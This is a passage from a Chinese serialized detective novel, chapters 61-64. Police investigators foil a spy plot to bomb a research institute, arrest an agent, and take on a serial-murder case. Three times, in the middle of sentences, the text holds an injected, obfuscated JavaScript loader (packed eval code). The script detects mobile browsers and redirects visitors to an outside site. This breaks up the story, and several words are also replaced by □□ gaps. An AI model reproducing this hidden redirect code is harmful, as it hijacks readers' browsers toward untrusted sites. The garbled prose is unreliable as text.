顾昭蕙来到木椅旁边，仔细看了看“你看这漆刷的时间绝对没有超过半年。周萍萍说家里一些照片是张常阳自己洗的，他家里有个相机，他有个朋友是照相馆的。” 齐云松也开始寻找起来，“这里。”他一下子惊喜起来，凳子下边的一个木头被掏空了。 扣了半天，从里边拿出一把钥匙。 “是什么地方的钥匙？”顾昭蕙接过来看一下，有点失望，因为这个钥匙就是普通的钥匙，不过钥匙上用医用胶带贴着，上面有个数字32。 齐云松拿过去看了看，“有点像澡堂里的钥匙。” 顾昭蕙一听也觉着挺像的，“能用这个钥匙的澡堂，应该很容易找。” 现在澡堂很多，但是能配锁的不多。毕竟一个锁头也不少钱呢。 两个人回到市局，齐云松带人去查钥匙来源，跑了研究所附近的几家澡堂子，终于找到了同样钥匙的地方。 “是我们这的。男澡堂你去开三十二号柜就行。”一个五十多岁的老头看了看钥匙说道。 “你们这里柜子还能储存东西怎么的？”齐云松问。 “哎，这不是老客么，他说放点东西在我这，给了我五十块钱，让我把柜子留上一年。咱们也不差那个柜子不是，五分钱一张澡票，五十元天天来洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049743|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都够洗三年的。我能不同意吗。”老头说的实在，就一个柜子的事。 齐云松拿着钥匙把柜子门打开，柜子不大，打开后里边是个牛皮纸袋封的严严实实的。 他拿出来，里边挺硬的，他没打开。 一直回到局里，才拿着剪刀小心的将牛皮纸袋打开，牛皮纸袋里边竟然还有纸袋，估计怕返潮吧。 两层袋子打开里边是照片。 “这是工程图纸吧。”齐云松看着照片里的内容说道。 顾昭蕙看了看将照片排序，确实是一张图纸，“是个地下工程结构图。” “研究所最新项目？”齐云松说道。 “不清楚，赶紧问问。”之前查张常阳案子的时候，确认了研究所那边的项目还没有启动，当时也没有太多保密的，但是这个照片是从哪里来的？也许研究所能知道。 干脆顾昭蕙和齐云松一起去了研究所找到了负责项目的副院长，王青教授，王青教授就是李立华的丈夫，虽然李立华被抓了，但是王青教授没有收到太多影响，这位是真正一心为了科研。 “嗯。你们怎么有这个照片。”王青教授看到图纸整个人都严肃起来。 “照片中的图纸很重要吗？”顾昭蕙问。 王青教授点点头，“很重要，这是我们新建的研究所，我们最新研究项目就是在这里开展的，而且还有另外几个科研机构都是在这里进行研究的。里面保密级别很高。” “现在里边已经有人员进入了吗？” “当然，这个地方在去年七月份就开始使用了，现在里面研究人员很多的。怎么了？”王青教授发现面前两个年轻人脸色变得非常不好。 “所以他们的目标不是某个项目，而是那些研究员。”车子飞驰在公路上顾昭蕙心里产生一种特别气愤的情绪。 齐云松满脸严肃“就王青教授说的那些研究员，如果真的出事了，后果不堪设想。” “张常阳没有机会接触到图纸，所以这些图纸是从别的地方照到的，如果看他利用图纸威胁周萍萍他们的行为来看，他应该是发现了他们的破坏行动。他们怕他将事情告发，所以将他杀人灭口。”顾昭蕙将这些串到一起。 “新的研究所位置就在西城区那边，电厂那次停电，正好影响了那边的电力供应，虽然不知道他们为什么，但是电厂案与这个研究所案也有联系。如果想要最大程度的破坏，他们应该使用炸弹，图纸都是地下结构，或许就是从地下爆破。” 说话间两个人就到了新研究所所在地，之前他们就打了电话，直接联系这边的驻军，此时这里已经被军管了，一些研究员也从办公楼里出来，只是还有一些人实验关键时刻，说什么也不愿意离开的。 三处处长还有市局副局长都来了，顾昭蕙和齐云松去做了简单的案件分析。 首先进入的就是排爆人员，只是这边地下结构有些复杂，所以想要确定安全，还需要一些时间。 时间紧迫，他们现在没有办法确定敌人什么时候动手，但是从赵庆远的行为来看，动手时间就在今天，或许他们已经开始了，说不定下一刻爆炸声就要响起。 61. 第 61 章 第六十一章 揉了揉有些发胀的大脑，顾昭蕙脑海中突然出现研究所地图，“这边是什么单位？”顾昭蕙突然问道。 齐云松看向顾昭蕙“是气象仪器研究所。” 顾昭蕙想了想，“他们那边保密级别不高吧？” 齐云松点点头“是的刚建立没几天，好像还没有什么成果。” 顾昭蕙拿出地图，仔细看了一下“你看这里，地下距离不远，这上面是气象仪器研究所的办公室吧，晚上有值班的吗？” 齐云松也不清楚赶紧叫了人找那边负责人，怕这边有□□，所以让人将气象仪器研究所人也撤了出来。 没一会来了三位中年人，估计是那边的负责人。 “我们晚上有值班的，有些研究员晚上也会在办公室里工作，常年有人。” “那去年那次大停电，你们的人还有留在办公室的吗？”顾昭蕙想到自己说的事情。 另外一位三十多岁年级的男人说道“那天停电是晚上，当时有几个研究员，不过听说是电厂出现问题，知道晚上不能来电，他们就回去了。” 顾昭蕙看向他，齐云松跟她说这人是保卫科的科长。 “你们那天有几个人值班，有没有听见什么动静？” 那人摇了摇头“当时因为停电，我们检查一下院里的门窗，然后就下班了，当时只有两个值班的，我们单位刚成立没几天，单位也没有什么重要的东西，所以值班人员不多。” 这人说完了突然又想到什么“对了第二天有个值班的好像说之后又有一次地面震动，声音倒是不大，当时我以为电厂那边又爆炸了也没当回事。” 听到这里顾昭蕙眼睛一亮，看向齐云松“他们很有可能从这边爆破进入的，去那边查，肯定有入口。”顾昭蕙点着地图上的一点。 齐云松听了直接带人去了那边，可能有了目标，倒是很好找，入口就在他们楼后边靠近围墙的地方，那里有个下水井，将上面井盖打开，下去大概两米的地方就有个洞口，这个下水井竟然是个假的，洞口位置也用水泥进行了修整，至少让人看着就觉着这里是个下水井。他们废的功夫可不小。 顺着那个洞口进入，往里边走大概十多米的距离，就看到一处修整过后的门，墙面仔细看还能看到有火药的痕迹，估计就是那天电厂爆炸造成的。当年设计研究所的人应该也想到有人可能从旁边的地方进入地下，所以这边的围墙很深，地下都是水泥浇筑的，估计挖不透所以才会用爆破的办法。 齐云松制止战士想要打开门的动作，他四周看了看，手电仔细照着周围，果然发现墙边有一块石头是松动的，将石头拿开，手伸进去里边有个拉环，轻轻一拉，喀拉一声，大门开了个小缝。 齐云松将门打开，就看到门后竟然放着一颗手雷，门把手上绳子连接，一拉就能将门打开，如果硬推手雷就会爆炸。 处理掉手雷，一行人满满的走进去，去掉那一块水泥浇筑的隔离带，这边就是用土石填充的，已经被人挖出一条通道，这条通道是顺着地基走向挖通的，里边就是研究所地下两层，隔着一道水泥墙，就是研究所内部。 走了一段路，齐云松就看到了那个闪着亮光的东西，等看清楚之后倒吸了口气，看了一下手表，“这是到明天九点给咱们放一场烟花。”齐云松只觉着后背凉飕飕的，“快加快速度，地道挖的这么长，肯定不止一处。这地下有两层么？”齐云松问跟下来的负责研究所保卫的战士。 “是的，而且地下有好几个实验室，这爆炸位置应该是地基承重柱位置，如果炸断了，地下肯定要塌，上边的大楼也挺不住。”他了解情况，心里更加害怕。 齐云松看这地下工程，觉着这帮人真的是有耐心，几乎围着研究所地下挖了一条通道。 他跟着跑了一圈，这简直就是一点机会都不给研究所留，这些炸弹足够将整个研究所掩埋，爆炸时间不是晚上，而是早上九点，正是研究所人员工作的时间，所以他们想葬送的除了这个研究所，还有那些研究员。不过也是因为这个，他们定在早上九点，他们还有时间拆除这些炸弹。 将拆弹任务交给专门负责的小组，齐云松上去了。 “他们想到这个办法，说明他们对研究所的建立有一些了解的，这边地下结构完全是水泥浇灌的，他们选择爆炸的地方都是承重柱或者薄弱的地方。还有这样的地道一样的洞，不是一般人能挖的我看过了里边还有支撑结构。” 顾昭蕙点点头，“他们用了差不多半年多时间来做这个事情。可惜运到不好。” 齐云松也很赞同这句话，顾嘉蕙去找赵迅绝对不在他们的计划范围内，如果不是她的突然失踪，顾昭蕙也不会去找，也不会根据线索查到这边。顾昭蕙甚至都不知道这边有个新的研究所。那么明天九点钟可能这边就真的爆了。 赵庆远可能也是觉着计划已经成功了，所以才会做出将顾嘉蕙扔到水里的事情，那个位置还是蒋永兴的抛尸地，他就是想刺激他们，他觉着自己赢了，所以才会肆无忌惮。 事实上除了爆炸阴谋被揭开，他确实也算是赢了，他跑掉了，距离找到嘉慧到现在已经过去七个多小时了，这么长时间还没有接到赵庆远被抓的消息，说明他真的跑掉了。 研究所这边找到了炸弹，拆弹的任务就没有他们什么事了，因为案子足够大，三处那边接手了，主要是案子很明了，剩下的就是顺藤摸瓜，将所有参与这个事情的人都抓捕归案，这个事情就不需要顾昭蕙和齐云松了。 他们俩也放心的回去了。俩人一起去医院看望嘉慧，正好赶上人醒过来，顾昭蕙看她的时候她躺在那还对着顾昭蕙笑了笑，“姐。” 顾昭蕙看她脸颊有些红，一摸脑门有些发烧，“你呀。多危险呐。” 顾嘉蕙摇了摇头“我就想亲自确认一下，没想到会这么危险。姐你抓到人了吗？” 顾昭蕙听她说话条例还是很清楚的，心里也放心下来，之前她身上最大的问题就是□□摄入太多，怕醒过来对她记忆有些影响。 “没抓到，不过因为你我们避免了一场大危机。”顾昭蕙说道。 嘉慧听了似乎有些振奋“那就好。” 正说着话，护士进来给她大针。“你好好休息。你这身体估计得养一段日子。” 嘉慧摇了摇头“没事，我身体好着呢。”说完似乎想到什么拉了拉顾昭蕙的手“姐，我又一次在南鼓锣巷看到赵迅，那家院子门口有一颗大槐树。” 顾昭蕙听了眼睛一亮，跟顾嘉蕙贴了贴脸“你好好休息，我一定抓到他。” 顾嘉蕙看着姐姐出门，闭上眼睛，虽然使用了□□，使她很长时间处于昏迷状态，但是醒过来她就发现自己大脑清醒得很，她醒来这段时间也明白了这一切的原因是什么，赵家父子俩就是特务，她并没有怀疑错，所有人都以为自己去找赵迅是因为赵迅跟别的女人乱搞，她嫉妒，可不是这样的她是对赵迅产生怀疑，才去的，不然她不会找黄豆和他妹妹帮她看门。 不过现在看来自己做的有些危险啊。她记得那天她看到赵迅进了那个院子，那个院子里的女人就是她之前看到过的，所以她直接上门去问清楚。只是她低估了特务的底线。她是被身后的人迷晕的，晕倒之前确定了那个人就是赵迅的父亲。 晕倒后的最后一个念想就是想到姐姐，她相信姐姐一定能救她。好在姐姐从来没让她失望过。 “虽然赵迅在那里的可能性很小，但是万一呢。”顾昭蕙将武器检查一下，“这次直接强攻。” 齐云松点点头，“好的，不过你别急着上。” 顾昭蕙点头，“放心吧，我自己啥实力我自己知道。绝对不会冒险的。” 他们已经来到那个门口有大槐树的四合院门口，刚才他们去找了街道，把街道主任从家里带出来，让她介绍了一下这边四合院的情 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此时已经是晚上八点了，很多人家都已经睡觉了。因为有人带路，他们一行人直接进了院子，西跨院这边由一个垂花门隔着，门是关上的。不过这难不住他们，直接从院墙跳过去，然后将大门打开，正屋大门也是关着，不过东屋有亮，齐云松一脚踹开大门，带着张燕北还有两个小战士直接冲了进去。 屋子里顿时传来女人尖叫声，接着啪的一声枪响，然后就是几声枪响，一个男人喊叫声。 顾昭蕙心里一紧，这是抓到了。 过了一会，齐云松和张燕北拎着一个人从屋里出来，这人被手铐拷住了双手，其中右手手掌被打穿，腿上也有伤口。 这会正哀嚎着，齐云松将他头发抓起，一看，果然是赵迅。 “你怎么知道赵迅在那边？”第二天一早，顾昭蕙才将事情处理好，一宿没睡，大队长给她半天假，让她好好歇歇，不过下午还得过去，案子太大，很多事情要办。她也没回家直接去了医院，嘉慧昨晚上前半宿发烧，后半宿好了睡了一觉，这会有点精神。 顾昭蕙一边削苹果一边问。 顾嘉蕙斜靠着枕头，“齐哥的那几个朋友是姐让他找的吧。” 顾昭蕙看她一眼觉着妹妹有点敏感。 “我也是昨天晚上烧的迷迷糊糊睡不着觉想的，姐之前是不是怀疑过赵迅，怕我陷进去，所以齐哥找几个人开导我。” 顾昭蕙有点不好意思“小蕙，我们并不能确定，也是怕打草惊蛇，所以没跟你说。” 嘉慧摇了摇头“姐你不用说了，我能理解，我还得谢谢你和齐哥呢，你知道他那几个战友都可能聊了，跟我说了好多道理，也是他们让我明白看一个男人，不能看他怎么说的，而是要看他怎么做的。” 接过姐姐削好的苹果“切一半，我吃不了。” 顾昭蕙切了一半递给她，另外一半自己吃了。 “当我能理智看待这段感情的时候，就发现，赵迅并不像表现出来的那么喜欢我。看起来他对我很喜欢，但是他的一些动作表现出来的就是对我有点抗拒。我们在一起的时候说话，他总是不自觉双手插兜，我忘记谁跟我说过，这种表现是拒绝的意思。” 顾嘉蕙又吃了一大口苹果，似乎咬人一样，“回忆之后就会发现赵迅得一些问题，在我们刚认识没多久的时候，有一次我去南鼓锣巷朋友家玩，回来的时候就看到赵迅从那个院子里出来，当时我看见那个女的，长得特别漂亮。我问他那个女人是谁，他说是一个老师的女儿，老师去世了，他过来慰问一下。” “当时他说的我信了。不过当脑袋清醒的时候就会想到一些事情。昨天我醒来就将与赵迅相处的一件件事情回忆了一下，突然就想到了那个女人。” 顾昭蕙看了看妹妹，忍不住笑了一下“或许你也可以试试当公安。”真的发现嘉慧的脑瓜也是不错的。 嘉慧摇了摇头“我还是算了。我觉着我有点鲁莽了，这件事情明明应该先跟姐说。” 顾昭蕙揉了揉她的脑袋“对，以后在遇到这样的事，一定先跟我说。” 62. 第 62 章 第六十二章 赵迅的落网让案件更加明了，三天后顾昭蕙才看到赵迅的笔录。 事情与顾昭蕙推断的差不多，赵庆远和蝰蛇还有另一位叫秃鹫的人一起策划了电厂案还有研究所爆炸案，听说赵庆远在去年年初的时候就收到一批黄金，一起过来的还有消灭国内研究人员的命令。 蝰蛇在精密机械厂潜伏，他动手去掉了几位研究人员，但是并没有达到上边要求的效果。 所以之后在某些利益的推动下，他们开始了研究所计划。 他们弄错的一件事情是，蒋永兴查的案子不是蝰蛇案，而是发现了赵庆远手上的地图。 在案发前蒋永兴去看望老师，当时赵庆远正在研究研究所的地图，因为蒋永兴的到来，他将地图盖在书本下面，谁想蒋永兴是个好奇的，趁着他去泡茶，拿起书看了起来，就看到了下边建筑图。 蒋永兴离开赵庆远家后，不知道怎么的开始查那个建筑图。 所以那天他引诱他去了蝰蛇那里，让蝰蛇杀掉。 顾昭蕙看到这里皱了皱眉头，看来当初蝰蛇根本没有说实话。 还有一件另顾昭蕙意外的事情就是赵迅，竟然不是赵庆远的儿子，赵迅和他母亲是当年南边给他配的人员，当时赵迅到他身边的时候只有十二岁，也正是因为他年纪小所以一直以来没有人怀疑他，实际上赵迅也是一位潜伏人员，不过跟赵庆远是两条线，这次因为事情太大，他被赵庆远退出去，作为诱饵，实际上赵庆远真是个胆大的，将赵迅放出来，就是为了让三处将精力分散。就是赵庆远也是个诱饵。 暗中事情是由秃鹫进行行动。也正因为赵迅是另外一条线的，所以在赵庆远离开后，他偷偷留下来，正准备转变身份再次潜伏呢。 关于秃鹫的信息赵迅知道的很少，‘据说他手下有几个人是土夫子，特别会挖洞。’ 这是唯一一条有用的信息。 齐云松从外边走进来，递给顾昭蕙一瓶北冰洋，“三处那边查出秃鹫的地方，结果扑了个空。” 顾昭蕙接过来，北冰洋可能在雪地里冻过，冰镇的感觉，“哪来的？”直接喝了一口，真爽，屋子里烧着炉子，虽然暖和但是人也躁的慌。 “上边给的奖励，我从三处那边拿来一箱，想喝了提前放雪堆里，一会就凉了。咱们组肯定也有，不过还没发吧。” 顾昭蕙喝着凉爽的汽水，“秃鹫那边估计要潜伏一阵子，不好抓，另外按照赵迅说的，赵庆远肯定上南边去了，他也不好抓，我觉着他不会出境，那边不会放过这样的人，肯定要用到底。” 齐云松斜靠在桌子上，手里汽水晃了晃“别忘了还有个能微调整容的，这人也是很危险的。” 顾昭蕙深吸口气，身体往后靠，“这案子不归咱们管了吧？” 齐云松将最后一口汽水喝了，“是不归咱们组管，咱俩跑不了。”看顾昭蕙皱着眉头的样子，他笑了笑说，“你自己什么能力不知道，要不是上次樊处长接纳了你的意见，他这会肯定直接把你调走了，他都后悔死了。不过就算不去三处任职，也要注意这几个案子，毕竟这几个案子你都参与了，不然这笔录怎么那么好看。” 顾昭蕙点点头，“那也行。”说实话顾昭蕙真的不想去三处，现在刑侦大队她还能正常生活，但是如果去了三处，说不定以后都得隐姓埋名的。 “组长。”李想手上拎着两个箱子，里边叮了咣当玻璃瓶碰撞的声音。后边跟着吴非，抱着两个大箱子。 “怎么发福利了。”顾昭蕙带着笑意说道。 “刚才碰到大队长，他让我们去拿的。说这事给咱们组的奖励。”李想高兴的说。他将北冰洋放到地上，眉飞色舞的，“吴非那边才是好东西。” 吴非笑的都有点傻了，他直接来到顾昭蕙身边，把箱子放到桌子上，然后打开，顾昭蕙一看，眼睛都亮了，一下子站起身，往里边一看，嘴也咧开了，“嘿，还真是好东西。” 齐云松扒着纸箱子往里边一看，是一条条圆形的火腿。这种火腿不是那种熟的能吃的火腿，而是生的，将生肉包装起来，有点类似切牛肉片的那种肉卷，不过这里边都是大块的肉。切片还是化开都行。现在肉十分稀缺，每家每户肉票都有数，这火腿是五公斤，还是牛肉。过年的时候他们也发了一点，不过是这种大火腿每人切十厘米，那是拿尺子量着切的。 顾昭蕙看了一下，“咱们组每人一条。赶紧领了，正好要到中午了，送家冻上去。汽水也分了吧。”他们组八个人每人六瓶。 “对了组长，咱们组还奖励了一些票据，要到财会那边领回来。”李想想起来说道。 顾昭蕙点点头“芸姐你去领一下。” 白芸眉开眼笑的应了，拿着公章就出了门。 中午顾昭蕙去食堂打饭，齐云松骑着车把火腿和汽水拿去蒋家，已经说好了晚上去家里吃涮牛肉。 这次案子奖励很大，就是顾佳蕙那里也得了五十元钱还有一些布票肉票，顾嘉蕙已经出院了，但是在水里泡了那一段时间，让她腿和脚都有些冻伤，需要在家里抹药膏好好休养一段时间，如果治不好，以后容易起冻疮。 晚上两个人回到蒋家，之前齐云松回来，写了字条，田静兰知道晚上要吃涮牛肉，就去买了麻酱，市场上没什么菜，不过她弄了点干海鲜，干脆炖了酸菜锅，齐云松手上有劲，牛肉卷提前化了一会，他就直接切了薄片。 “哎呀，虽然比涮羊肉差点，可也不错。”蒋志忠高兴的涮了一大块牛肉，配上拌好的二八酱，也不知道儿媳妇怎么弄的，特香。别说沾牛肉，就是沾鞋底子都好吃。 顾昭蕙更喜欢里边的酸菜，田静兰弄了一块骨头炖的，虽然骨头上的肉都被剃干净了，但是骨头煮的时间长了骨髓油被煮出来，味道更香。 齐云松看她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078076|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个劲的往酸菜上夹，顺手涮了肉，趁着肉刚熟还嫩着，就给她放碗里。 顾昭蕙也没觉着那里不对，裹了麻酱就吃了。倒是一边的田静兰看到了，神情愣了一下。 “想啥呢？”蒋志忠躺在床上拿着一本书看着，感觉身边人好长时间没有说话了，下意识抬头看了过去。 田静兰放下手上的梳子，走到床边，坐下来，“哎，你今天看松子和小蕙之间是不是--”她想了一会，“你说这俩孩子是不是走的有点近。” “近吗？”蒋志忠眼睛继续看着书“他俩一个单位一个办公室的，肯定挺熟的，再说松子跟咱们家的关系，近点也正常啊。” “我不是那个意思。”田静兰白了他一眼。 蒋志忠笑了笑“你啥意思，哎呀年轻人顺其自然吗。管那么多做什么。” 田静兰听他的意思，一下子精神了，“咋地你看出来了？” 蒋志忠说，“很明显吗，松子那孩子早就有意思了，可惜小蕙没啥想法。不过这些日子觉着小蕙好像也不排斥松子接近。” 田静兰简直被惊讶掉下巴“你怎么看出来的？” “这我还看不出来，我这公安白当了。” “别说他俩要在一起我还真就觉着挺高兴的。到时候俩孩子不就跟咱们儿女一样。小蕙还当我儿媳妇。”田静兰突然觉着有点兴奋。 “俩孩子的事，咱俩别掺和，你就当没这回事就行了。” 田静兰看了看他往被窝里一趟“我知道。还得看他俩的意思。” 说了一会话蒋志忠也看不下去了，把眼镜摘下来，“我的意思是，在俩孩子跟咱们挑明前，咱们就当没这回事。松子是老齐唯一的孩子，他们夫妻牺牲的早，他大小就在咱们家长大，没有血缘也是自己孩子。这孩子自己争气，现在工作什么的都做的很好。就差结婚了。” 田静兰仔细听着叹了口气，“之前给他介绍他都不愿意。” “这孩子有想法，当年老齐和嫂子感情多好，最后牺牲都是在一起的，那时候嫂子如果不是为了救老齐，也不会陷进去。这些松子都是亲身经历的，所以他对感情是不会凑合的，不是真心喜欢的也不会糊弄，所以难得孩子自己喜欢，就让他自己去争取。” “小蕙那边，虽然没有表现什么，但是看她样子应该还记着永兴，对松子，也只是跟家人似的，将来能不能动心，也看她自己，她那么独立，肯定要自己心甘情愿，才会走出那一步。” 蒋志忠说到这也叹了口气，“再说这俩孩子之间还有个永兴，有的磨。” 田静兰脑袋靠着枕头，“是啊，永兴呐，可惜了。我儿子那么好。如果还在，日子该多好啊。” 蒋志忠握着田静兰的手，“永兴是个好孩子，咱们心里念着他，他就还在。其实大家都没有忘记他。” 田静兰点点头，安静的闭上眼睛，眼角慢慢渗出一滴眼泪。 63. 第 63 章 第六十三章 过了一个星期，三处那边来了消息，赵庆远彻底消失了，他赵庆远离开是策划已久的，三处那边虽然已经找到一些蛛丝马迹，但是最终还是让他逃开了，在沪市那边失踪了。 齐云松和顾昭蕙讨论过赵庆远会不会趁机偷渡离开，但是顾昭蕙估计他没有办法离开，不是离不开，而是不能，已经确定他是对岸的特务，当年的潜伏人员，按照赵迅的说法，赵庆远这次的任务是最后的任务，任务结束就会有人送他对对岸。 可是他失败了，被顾昭蕙给破坏了，对岸不会让他回去的，甚至会让他继续潜伏，工作。 对顾昭蕙的判断，齐云松觉着很有可能，不过他们也没有办法去沪市，现在抓捕赵庆远的任务已经交给沪市的同事，他们干脆也就放下了。 这几日没有大案子，顾昭蕙跟齐云松拿了资料了解秃鹫的案子。 现在为止秃鹫也只了解一个代号，关于他的一切也只是听几个案犯交代的事情，不过每次接头都没有露面，这人十分谨慎。 就他们了解的情况，秃鹫下线许多，就赵迅他们几人的交代，知道秃鹫跟他们都是单线联系。 “这人隐藏很深啊。”齐云松皱着眉头。 顾昭蕙也觉着棘手，“没有样貌年龄甚至声音都是假的。” 她敲了敲桌子，“秃鹫，又称座山雕，以其庞大的数量和强健的体魄而著称。它们的翅膀形状和大型猛禽相似，都拥有一双锐利的眼睛和强大的力量。”这是她记忆中关于秃鹫的介绍，“秃鹫强大凶猛，不过他也许起的名字是相反的，他本人不是这个样子。” 齐云松将手上资料往桌子上一扔，“完全没有头绪。” “以后多注意吧。” 时间进入三月，天气转暖，顾家发生了一件喜事，顾嘉蕙有了新的恋情。男朋友是齐云松的战友，叫韩卫东，现在东城分局工作，当初齐云松找几个朋友过来跟顾嘉蕙认识。 她认识几个人，除了跟两个女孩成了好朋友，韩卫东对她也有了好感，他跟佳蕙见了两次，觉着这个女孩开朗活泼，虽然有浪漫主义思想，但是很容易接受新的观点，能清醒的认识到问题本质，或许只是接触外界少一些，见识不够，但是她很爱学习。 齐云松也是不想让朋友们知道自己的目的，当初也是用了一些心思，所以韩卫东没想那么多，对女孩子有了心思，却发现她竟然有了男朋友，他也是个心思简单的，干脆不去想了。 后来两个人在图书管见过几次，因为认识俩人也在一起说过话，韩卫东虽然是军人出身，但是很有学识，他是个爱学习的，当初也是高中毕业，工作之后也是常来到图书馆学习。 两人见过几次后也算是朋友，直到嘉慧受伤，韩卫东听说了女孩的事，女孩子的遭遇让他很是心疼，嘉慧养伤的时候他还带去一些书籍，陪她说一些话。 嘉慧出院回家，他也去了几次，这样一来谁都看出他什么意思。顾嘉蕙虽然对赵迅没有太多的感情，但是她也不想那么快跟人交往，不过韩卫东也没有表现太过紧迫，时常的陪伴，让嘉慧心里很是温暖。 倒是顾妈觉得既然俩人都有意就先定下来，不然邻里间看到也不好。顾昭蕙也是一次回家碰到了才知道这个事情，过后还问过齐云松这人怎么样。 齐云松把这人情况说了一遍，事无巨细的，韩卫东家庭是个普通家庭，属于京城里很普通的一户人家，家里有哥哥姐姐弟弟妹妹，他算是中间的那个，高中毕业后就去当兵，不过没赶上大的战争，四九年之后就被调到东城分局。 “他这人政治上没有问题，性格也好，工作也可以，如果说有那些不足，可能就家庭有点问题。” “怎么说？”顾昭蕙觉着家庭问题不小。 “他在家里排行老三，属于中间的，家里父母对他有些疏忽，属于那种不被重视的，当初我第一见到他的时候，他才一米七，人又瘦又矮的，进了部队，才吃饱饭，人才长高了精神了许多。” 顾昭蕙脑海里闪现韩卫东的样貌身高，有一米七五，样貌也不错，看起来是个精神小伙。 “他回京后，家里连住的地方都没有了，他现在还住单位宿舍呢，不过他也是有成算的，倒也没被家里挟持。知识如果结婚了，怕他家里要找些事情。” 顾昭蕙点点头，这倒是个问题，不过事情总不会一帆风顺，实际上这个年代家庭问题，婆媳问题都是正常的，别说现在就是再过五十年七十年，家庭矛盾也是非常多的。这事情怎么看呢，主要问题在韩卫东身上。 这个事情顾昭蕙想了想还是跟嘉慧透漏了一下，没想到妹妹已经知道了，韩卫东也许知道家庭问题，会影响以后的生活，所以提前跟她说了。顾嘉蕙也考虑了，觉着自己应该能应付，更何况两个人要是真结婚，应该不会跟婆家住在一起。 顾昭蕙发现自己面对这样的问题时，脑海中会有两种观念，一种是顾湘的，她是那种不能将就的女子，对于感情是宁缺毋滥，而顾昭蕙就是那种乐观的，觉着什么问题都能慢慢解决。 随着时间的推移，她也慢慢的有了感情，依然冷静，但是对待身边的人有了温度。 这天本来约好回娘家吃饭，结果下午就接到了任务。 “北河那边有个案子，有些棘手，他们急于破案，所以上咱们这边求援来了。”范伟强对顾昭蕙和齐云松说“你们俩出差过去，帮着看看。” “北河？怎么会找到咱们这边？”齐云松问到。 “还不是咱们去年下半年破的那些案子。让他们也注意到了，这次案子太大了，所以才会求援到这边，指名让你们过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097401|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 顾昭蕙点点头“什么案子？” “连环杀人案。” 连环杀人案，并不常见，一方面这年代通讯不发达，一个县里发生案件，临县可能都不清楚，或者一个区发生的案子，另一个区有相同的，但是因为信息不通，无法并案侦查。 所以说并不是没有而是大家没有办法联系在一起，那么这个连环杀人案，就很有意思了。 发生案子的地方离京城不算远，但是这年代交通不发达，坐火车都要坐七个小时，范伟强接到电话，就已经让人给他们买火车票了，下午六点的火车，所以顾昭蕙根本没时间回家吃饭了，只能给父亲单位打了个电话通知一下。 没有买到卧铺，只买了硬座，坐了七个小时，顾昭蕙还真有点难受，齐云松也不舒服，他那双腿怎么放都有点局促。 下了车俩人都忍不住伸了个懒腰，北河市局派人过来接。 “你好，我是市刑侦大队大队长赵山河，欢迎两位来北河指导工作。”这位大队长十分客气。他看起来来之前好好收拾了一下自己，但是看他那双眼睛红彤彤的，还有手上都有点泛黄的指头，都表明这位大队长最近有点不好过。 “赵队长客气，这是我们市局刑侦大队三组组长顾昭蕙，我是齐云松。”虽然两个人职位好像没有赵队长高，但是他们单位行政级别比北河高一级，他们还是对方请过来的，所以双方也算平级。 双方认识一下，赵队长说“走你们先去招待所休息一下，明天再说案子。” 三个人上了车，车是赵队长亲自开的，车子十分破旧一路上叮叮当当的，齐云松问了一下案子情况。赵队长也简单给介绍一下。 这个案子最早发生阴历十一月初，死者是一个女性，二十二岁，发现地点是个垃圾堆，死者双眼被挖掉，身上多处刀伤，尤其□□伤害严重。 第二名死者是腊月初，死者是从另外一处垃圾堆被发现，同样的挖眼刀伤。 第三名死者是大年初二发现的，与前两名死者死亡有同样的特征，所以他们市局才并案侦查。 “经过我们这边法医确定，三名死者死亡时间可能都是初一，十一月初一，腊月初一，大年初一。”赵队长说道这里停顿一下“从过年到现在我们一直在寻找凶手，可是没有什么进展，按照凶手的杀人规律，马上就要到二月初一了，如果再不抓到凶手，将会有另外一个受害者。” 说到这，他没有说话，这个案子把他们整个刑侦大队都折磨够呛，根本没有线索，无法破获。为了防止有更多的受害者，他们不得不清外援，帮忙。 顾昭蕙和齐云松也觉着有点沉重，想想这个凶手在过年的时候都没有停止他的杀戮。 大年初一，想想受害者家属知道亲人在那天被杀害，是一种什么样的心情。 64. 第 64 章 第六十四章 顾昭蕙和齐云松没有休息太久，早早的就起来吃了饭，就去了市局。 “这是案件的案宗。”赵山河对这个案子非常重视，所以昨天晚上将两人送到招待所后，就回到市局，他看到两人来的这么早，心里很是高兴，至少上边派下来的人也很重视，希望案子能有进展。 两个人也没客套，顾昭蕙先拿起案宗观看，齐云松拿起第二本。 